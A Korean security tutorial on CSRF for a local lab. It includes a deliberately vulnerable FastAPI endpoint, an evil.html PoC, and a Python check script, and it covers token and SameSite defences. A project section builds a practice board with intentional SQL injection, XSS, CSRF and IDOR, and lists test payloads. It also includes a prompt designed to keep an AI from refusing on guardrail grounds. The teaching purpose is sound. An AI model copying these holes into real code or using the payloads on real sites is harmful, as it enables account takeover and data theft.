본문 바로가기

CSRF와 통합 스캐너

앞 회차에서 SQLi와 XSS를 다뤘다면, 이번에는 웹 취약점 3대장의 나머지 한 자리인 CSRF(Cross-Site Request Forgery)를 들여다봅니다. 그리고 지금까지 만든 퍼즐 조각들(requests.Session 스켈레톤, SQLi 퍼저, XSS 탐지기)을 하나의 통합 스캐너로 묶어보겠습니다.

법·윤리 주의

이번 회차도 모든 실습은 03-2에서 직접 만든 vuln_lab.py(127.0.0.1:8000)에서만 진행합니다. CSRF PoC는 "다른 사이트에서 요청을 유도"하는 특성상, 대상 서버가 남의 서비스라면 명백한 위법이 됩니다. 학습 목적이라도 예외가 아닙니다.

1. CSRF 개념과 동작 원리

SQLi가 서버를 노리고, XSS가 피해 사이트(bank.com) 안에서 공격자의 스크립트를 실행시키는 공격이라면, CSRF는 결이 다릅니다. CSRF에서 악성 코드는 공격자 사이트(evil.com)에서 돌아갑니다. 피해자가 그 페이지를 열기만 하면 브라우저는 evil.com이 시킨 요청을 bank.com으로 자동으로 쏘고, 그때 bank.com에 저장된 피해자의 쿠키가 자동으로 따라붙습니다. 서버 입장에서는 "본인이 직접 누른 버튼"과 구분할 수 없습니다.

XSS와 무엇이 다른가

XSS와 헷갈리기 쉬우니 짚고 넘어가겠습니다. 둘 다 "피해자 브라우저에서 일어나는 일"이라는 점은 같지만, 악성 코드가 어느 사이트의 컨텍스트에서 실행되느냐가 정반대입니다.

XSSCSRF
악성 코드가 실행되는 곳bank.com 안evil.com 안
응답을 읽을 수 있나읽을 수 있다 (같은 출처라 SOP가 허용)못 읽는다 (Cross-Origin이라 SOP에 막힘)
할 수 있는 일쿠키 탈취·DOM 조작·키로깅 등 그 사이트 안에서 사실상 무엇이든미리 정해둔 한 방의 요청만
속는 쪽사용자 — "이건 사이트가 보낸 코드"라고 믿고 실행서버 — "쿠키가 붙어 있으니 본인"이라고 믿고 처리
깨지는 신뢰사용자 → 사이트 신뢰사이트 → 사용자(쿠키) 신뢰

방어법이 갈라지는 것도 이 차이 때문입니다. XSS는 입력 검증·출력 인코딩·CSP로 "내 사이트 안에 남의 스크립트가 들어오지 못하게" 막고, CSRF는 토큰·SameSite 쿠키·Origin 체크로 "이 요청이 정말 내 사이트에서 출발했는지" 확인합니다. 막아야 할 지점이 다르기 때문에 한쪽 방어로 다른 쪽이 자동으로 막히지도 않습니다.

왜 CSRF가 성립하는가

CSRF가 가능한 근본 이유는 브라우저의 비대칭한 정책에 있습니다. 쿠키는 도착지 도메인에 묶인 자격증명이라, 누가 시킨 요청이든 그 도메인으로 나가는 요청에는 자동으로 따라붙습니다. 그러나 같은 정책의 반대쪽 면인 Same-Origin Policy는 evil.com의 JavaScript가 bank.com의 응답을 읽는 것은 막습니다. 결국 공격자는 요청은 시킬 수 있지만 응답은 못 봅니다. 이 비대칭이 이번 회차에서 다루는 모든 방어 메커니즘이 기대고 있는 축입니다.

핵심은 4번입니다. 브라우저는 bank.com에 대한 세션 쿠키를 이미 저장하고 있고, <img>·<form>·<script> 같은 태그가 bank.com으로 요청을 보낼 때 자동으로 그 쿠키를 실어 줍니다. 공격자는 자기 서버의 HTML 한 조각으로 피해자의 권한을 대신 행사합니다.

1.1 CSRF가 성립하는 세 가지 조건

  1. 피해자가 대상 사이트에 로그인된 상태: 쿠키·세션이 살아있다.
  2. 대상 사이트가 "요청이 어디서 왔는지"를 충분히 검증하지 않음: Origin·Referer 체크 없음, CSRF 토큰 없음.
  3. 위험한 상태 변경 요청(POST/PUT/DELETE)이 단순한 파라미터만으로 가능: 추가 확인 단계 없음.

이 세 조건이 모두 참이어야 CSRF가 성립합니다. 방어는 이 중 어느 하나라도 깨지도록 설계하는 일입니다.

2. vuln_lab.py로 CSRF PoC 감 잡기

03-2에서 만든 vuln_lab.py에 CSRF에 취약한 엔드포인트 한 쌍을 추가해 실습 환경을 마련합니다. "로그인 → 비밀번호 변경" 흐름을 가장 단순하게 줄인 것으로, 세션 쿠키만 있으면 GET 요청 한 번에 비밀번호가 바뀌는 의도적 취약점을 담았습니다.

# vuln_lab.py 에 추가
import secrets
from fastapi import Cookie

USER_PASSWORDS: dict[str, str] = {"admin": "password123"}
SESSIONS: dict[str, str] = {}  # session_id → username

@app.get("/csrf/login", response_class=HTMLResponse)
def csrf_login():
    """실습 편의. 누구나 admin으로 자동 로그인"""
    sid = secrets.token_hex(8)
    SESSIONS[sid] = "admin"
    resp = HTMLResponse(f"""
    <p>admin 으로 자동 로그인됨</p>
    <a href="/csrf/change-password">비밀번호 변경 페이지</a>
    """)
    # 의도적 취약점: SameSite·Secure·HttpOnly 모두 미설정
    resp.set_cookie("session_id", sid)
    return resp

@app.get("/csrf/change-password", response_class=HTMLResponse)
def csrf_change_password(password_new: str = "",
                         session_id: str = Cookie(default="")):
    """의도적 취약점. GET 요청 + CSRF 토큰/Origin 검증 없음"""
    user = SESSIONS.get(session_id)
    if not user:
        return HTMLResponse("<p>로그인이 필요합니다</p>", status_code=401)
    if password_new:
        USER_PASSWORDS[user] = password_new
        return HTMLResponse(f"<p>Password has been changed for {user} → {password_new}</p>")
    return HTMLResponse(f"""
    <p>현재 사용자: {user}, 현재 비밀번호: {USER_PASSWORDS[user]}</p>
    <form>
        <input name="password_new" placeholder="새 비밀번호">
        <button>변경</button>
    </form>
    """)

uvicorn을 재시작한 뒤 브라우저에서 http://127.0.0.1:8000/csrf/login을 한 번 열면 admin 세션 쿠키가 박힙니다. 이제 정상 요청은 이렇게 생겼습니다.

GET /csrf/change-password?password_new=NewPass HTTP/1.1
Cookie: session_id=xxx

쿠키만 있으면 통과하는 구조죠. 공격자는 그래서 단 한 줄짜리 HTML을 자기 서버에 올려 피해자를 유도합니다. 아래 코드는 VSCode에 Live Server로 실행을 해야 합니다.

<!-- evil.html. 로컬 실습 전용 -->
<html><body>
  <h1>이벤트 당첨!</h1>
  <img src="http://127.0.0.1:8000/csrf/change-password?password_new=hacked123"
       width="0" height="0" alt="" />
</body></html>

로컬에서 재현하려면 "다른 출처"로 띄우는 것이 중요합니다. evil.html을 127.0.0.1:8000(vuln_lab.py와 같은 곳)에서 서빙하면 같은 출처라 실험 의미가 없습니다. 별도 포트에서 정적 파일 서버를 돌리세요. VSCode Live Server를 권합니다.

이제 http://localhost:3000/evil.html로 접속하면 vuln_lab.py(:8000)와 다른 출처가 되어 CSRF 조건이 성립합니다. 페이지를 열어둔 뒤 다시 /csrf/change-password로 가보면 비밀번호가 hacked123으로 바뀌어 있을 겁니다.

2.1 파이썬으로 PoC 자동 검증

"PoC(Proof of Concept, 개념 증명)가 실제로 먹히는지"는 파이썬 스크립트로도 확인할 수 있습니다. 피해자 세션을 흉내내기 위해 /csrf/login으로 먼저 쿠키를 받아두는 점을 빼면, 앞 회차 스크립트와 골격이 같습니다.

# csrf_poc_check.py
import argparse
import requests

def check_csrf(base: str, new_pw: str = "hacked123") -> dict:
    session = requests.Session()
    # ① 피해자 로그인 흉내: 세션 쿠키 획득
    session.get(f"{base}/csrf/login", timeout=5)

    # ② 공격자 사이트에서 "이미지처럼" 요청이 갔다고 가정
    res = session.get(
        f"{base}/csrf/change-password",
        params={"password_new": new_pw},
        headers={"Referer": "http://evil.local/fake.html"},
        timeout=5,
    )

    changed = "password has been changed" in res.text.lower()
    return {"status": res.status_code, "changed": changed}

if __name__ == "__main__":
    ap = argparse.ArgumentParser()
    ap.add_argument("--base", default="http://127.0.0.1:8000")
    args = ap.parse_args()
    print(check_csrf(args.base))

실행해보면 {"status": 200, "changed": True}가 나옵니다. 세션 쿠키 외에는 어떤 추가 검증도 없는 상태라는 신호입니다. 다음 절에서 보여주는 방어 메커니즘(CSRF 토큰, SameSite 쿠키, Origin 체크) 중 하나라도 vuln_lab.py의 /csrf/change-password에 추가하면 이 스크립트는 더 이상 changed: True를 받지 못합니다. 방어를 하나씩 켰다 껐다 하면서 어떤 공격이 죽는지 직접 실험해 보세요.

3. CSRF 방어 메커니즘

3.1 CSRF 토큰

가장 널리 쓰이는 방어입니다. 서버가 세션별로 고유한 랜덤 토큰을 폼에 숨겨 내려주고, 요청이 들어오면 쿠키의 세션 ID와 함께 토큰도 일치하는지 검증합니다. Django와 같은 곳에서는 {{ csrf_token }} 템플릿 태그로 쉽게 폼에 토큰을 심을 수 있습니다. 이 토큰 없이는 form이 정상 작동되지 않습니다.

<form action="/account/change-password" method="POST">
  <input type="hidden" name="_csrf_token" value="{{ session.csrf_token }}">
  <input type="password" name="new_password">
  <button type="submit">변경</button>
</form>

공격자의 외부 사이트는 피해자의 세션별 토큰을 알 수 없으므로, 위조 요청이 서버에 도달해도 토큰 불일치로 거절됩니다. 왜 모를까가 1절에서 짚은 비대칭의 결과입니다. Same-Origin Policy 때문에 evil.com의 JS는 bank.com이 내려준 폼 페이지의 HTML을 읽지 못합니다. 토큰은 그 페이지 안에 박혀 있으니, 같은 폼을 evil.com에서 흉내 내봐야 토큰 자리만 빈칸으로 남습니다.

토큰이 있어도 뚫리는 경우

토큰을 URL 쿼리스트링에 실으면 Referer 헤더·로그·브라우저 히스토리에 잔존하다 XSS로 유출될 수 있습니다. 그리고 같은 도메인에 XSS가 있으면 공격자 스크립트가 토큰을 읽어서 정상 요청으로 재사용할 수 있습니다. 그래서 XSS 방어 없이 CSRF 토큰만으로는 부족합니다.

3.2 SameSite 쿠키

Set-Cookie에 SameSite 속성을 붙이면, 브라우저는 다른 출처에서 시작된 요청에 쿠키를 보낼지를 아래 흐름으로 결정합니다.

세 가지 값을 한 표로 정리하면 다음과 같습니다.

값동작CSRF 방어 효과
Strict크로스 사이트 요청에 절대 보내지 않음가장 강함. 단, 외부 링크로 들어온 첫 요청에도 로그인이 풀려 UX 손해
Lax톱 레벨 GET(링크 클릭)에만 허용, <img>·<form POST> 차단실전 기본값. 대부분 브라우저의 기본 동작
None (+ Secure)모든 크로스 사이트 요청에 첨부방어 없음. 서드파티 임베드(iframe 결제 등)에서만 써야

vuln_lab.py의 csrf_login 응답에서 쿠키 한 줄만 바꿔도 evil.html을 통한 위조 요청이 막힙니다.

# 안전 버전: set_cookie에 samesite/secure/httponly 부착
resp.set_cookie("session_id", sid, samesite="lax", secure=True, httponly=True)

현대 브라우저는 SameSite 미지정 쿠키를 기본적으로 Lax로 취급합니다(크로미움 계열 2020년 이후). 그 이전엔 사실상 None(=모든 크로스 사이트 요청에 쿠키 첨부)이 기본이라, 위 vuln_lab.py의 evil.html 같은 공격이 별도 조건 없이 통하던 시기였습니다. 크로미움이 기본을 Lax로 바꾸면서 웹 전체의 CSRF 노출 면적이 한 단계 줄었죠.

Lax가 톱 레벨 GET(=주소창에 직접 치거나 외부 링크 클릭)에는 쿠키를 보내주는 이유는 단순합니다. 외부 링크로 들어왔다고 해서 로그인이 풀려 있으면 사용자 경험이 무너지기 때문입니다. 대신 위조하기 쉬운 자리 <img>, <form POST>, fetch, XHR 만 막는 것이 트레이드오프의 합의점입니다.

다만 이 "기본값 덕분에 안전"을 믿고 있다면, 구형 브라우저·임베드·레거시 앱에서 틈이 생기므로 명시적으로 설정하는 것이 실무 권장안입니다.

4. 취약한 사내 게시판 만들고 털어보기

지금까지 vuln_lab.py는 한 파일짜리 단순 실습장이었습니다. 엔드포인트 하나에 취약점 하나가 박혀있는, 말 그대로 "표본"이었죠. 실전은 그렇지 않습니다. 진짜 사이트는 메인 페이지·로그인·마이페이지·게시판·검색이 한 덩어리로 묶여 있고, 취약점은 그중 어느 페이지에 어떻게 숨어있는지 모릅니다.

이번 미니 프로젝트에서는 FastAPI + Jinja2 로 "겉보기에는 평범한 사내 게시판"을 한 채 짓습니다. 다만 페이지마다 의도적 취약점을 한두 개씩 심어 둡니다. 그리고 다 만든 뒤에는 03-1부터 만들어 온 스캐너들로 내가 만든 사이트를 내가 공격합니다.

모든 코드는 바이브 코딩을 통해 제작해주세요.

4.1 무엇을 만들 것인가

만들 사이트는 사내 게시판 "WeniBoard"입니다. 페이지는 다섯 개로 단순하게 가져갑니다.

경로화면의도적 취약점
GET /메인. 최근 글 목록(없음. 정상 페이지)
GET /signup, POST /signup회원가입비밀번호 평문 저장 (의도적 약함)
GET /login, POST /login로그인SQL 인젝션 (OR '1'='1 통과)
GET /board, POST /board게시글 작성·목록Stored XSS (작성자/본문 이스케이프 없음)
GET /search검색Reflected XSS (검색어 그대로 출력)
GET /mypage, GET /mypage/change-pw마이페이지·비밀번호 변경CSRF (GET으로 비번 변경)
GET /post/{id}/delete글 삭제IDOR (다른 사람 글도 id만 알면 삭제)

페이지 흐름을 그림으로 보면 다음과 같습니다.

4.2 AI에게 골격을 시키기

AI에게 던질 프롬프트는 무엇을 만들지 와 어떤 취약점을 의도적으로 남길지 두 가지를 분명히 적어줘야 합니다. "보안에 취약하게 만들어줘"라고만 하면 AI는 안전 가드레일에 막혀 거절하거나, 반대로 너무 일반적인 코드를 줍니다. 학습용 실습 환경이라는 맥락과 구체적인 취약점 목록을 같이 줘야 의도된 코드가 나옵니다.

너는 보안 교육용 취약 웹 애플리케이션을 만드는 개발자야.
이 코드는 127.0.0.1 로컬 환경에서만 실습용으로 돌아가며,
학생이 자신이 만든 사이트의 취약점을 직접 공격해 볼 목적이야.

## 스택
- FastAPI + Jinja2 템플릿
- 데이터는 SQLite (board.db) 한 파일에 저장
- 단일 파일 weniboard.py 로 끝낼 것 (templates/ 폴더만 별도)

## 페이지
1) GET /                    : 최근 글 5개 목록 (제목·작성자·작성시각)
2) GET/POST /signup         : username, password 받아서 users 테이블 INSERT
3) GET/POST /login          : username, password 검증 후 세션 쿠키 발급
4) GET /board, POST /board  : 글 목록과 작성. title, body, author 저장
5) GET /search?q=           : 제목에 q 가 포함된 글 검색
6) GET /mypage              : 로그인된 본인 정보
7) GET /mypage/change-pw?password_new=... : 비밀번호 변경
8) GET /post/{id}/delete    : 글 삭제

## 의도적으로 남길 취약점 (실습 목적)
- /login : SQL 문을 f-string 으로 조립. ' OR '1'='1 우회 가능해야 함
- /board : 글 작성·표시 시 HTML 이스케이프 안 함 (Stored XSS)
- /search : 검색어를 결과 페이지에 그대로 박음 (Reflected XSS)
- /mypage/change-pw : GET 요청 + CSRF 토큰 없음 + SameSite 미설정
- /post/{id}/delete : 작성자 검증 없이 id 만 보고 삭제 (IDOR)
- 비밀번호는 평문 저장 (해싱 X)

## 출력
- weniboard.py 전체 코드
- templates/*.html 각각
- 실행 명령 한 줄
- 각 취약점이 어느 라인에서 의도적으로 발생하는지 주석으로 표시

이 프롬프트를 그대로 AI에 넣으면 300줄 안팎의 코드가 나옵니다. 처음부터 완벽할 필요 없습니다. 돌려보고 안 되는 부분을 다시 AI에게 던지는 식으로 다듬으세요.

왜 페이지마다 한 가지 취약점만 심나

진짜 사이트는 한 엔드포인트에 두세 개씩 겹쳐 있는 경우가 많습니다. 그러나 처음 학습할 때 그렇게 시작하면 무엇이 무엇을 일으키는지 분리하기 어렵습니다. 한 페이지 = 한 취약점으로 깔끔하게 갈라 두면, 스캐너 결과가 어느 신호를 잡아낸 건지 명확해집니다. 다 만든 뒤에 한 페이지에 두 번째 취약점을 추가로 심어 보는 식으로 난이도를 올리세요.

4.3 점검 체크리스트

사이트가 떴다면 03-1~03-3에서 만든 도구들을 차례로 들이댑니다. 손으로 한 번 - 스크립트로 한 번, 두 단계로 가는 것을 권합니다. 손으로 먼저 페이로드가 먹히는 걸 봐야 스크립트가 잡아낸 신호의 의미가 와 닿습니다.

페이지손으로 시도스크립트로 자동화
/loginadmin' -- 를 username 칸에03-2의 sqli_probe.py 변형
/search?q=<script>alert(1)</script>03-2의 xss_reflect_probe.py 변형
/board글 본문에 <img src=x onerror=alert(1)>작성·재조회 자동화 스크립트
/mypage/change-pwevil.html 에 <img src="..."> 심고 다른 포트로 서빙03-3의 csrf_poc_check.py 그대로
/post/{id}/delete다른 계정 글의 id 추측해 직접 호출1~50까지 id 순회하는 작은 스크립트

전부 잡혔다면 마지막 단계는 방어 켜기입니다. AI에게 이번엔 반대로 시킵니다.

"방금 만든 weniboard.py 의 5개 취약점 중 SQL 인젝션과 Stored XSS 두 개만 우선 막고 싶어. 다른 취약점은 그대로 두고, 이 두 개에만 최소 변경으로 방어 코드를 넣어줘. 변경된 라인은 주석으로 표시해줘."

방어를 하나 켤 때마다 같은 스크립트를 다시 돌려, 어떤 신호가 죽는지 직접 확인합니다. "어디를 막으면 어디가 막히는지"의 감을 손에 익히는 것이 이 미니 프로젝트의 진짜 목표입니다.

4.4 교환해서 공격하기

만약 실습 환경이 완성된 사람이 둘 이상이라면, 서로의 사이트를 교환해서 공격해보는 것을 권합니다. 내가 만든 사이트는 내가 가장 잘 알지만, 남이 만든 사이트는 취약점이 어디에 어떻게 숨어 있는지 모르는 상태에서 분석해야 합니다. 실제로 존재하는 서비스에 대한 분석과 같은 맥락이죠.

4.5 취약점 보고서 작성

03-2 끝의 보고서 양식을 그대로 가져와 짝의 사이트(또는 본인 사이트)에 대해 한 장짜리 점검 보고서를 씁니다. 페이지가 다섯 개로 늘어났을 뿐 채워야 할 칸은 같습니다.

  • 발견 취약점 목록 (위치·심각도·CWE)
  • 재현 절차 (손으로 / 스크립트로)
  • 영향
  • 권고 조치

여기까지 끝내면, 한 회차 안에서 취약 서버를 짓고 - 공격하고 - 보고서로 정리하는 흐름을 한 사이클 돌아본 셈입니다. 다음 회차(03-4)에서는 이 흐름을 한 계층 더 아래, 패킷까지 내려가서 봅니다.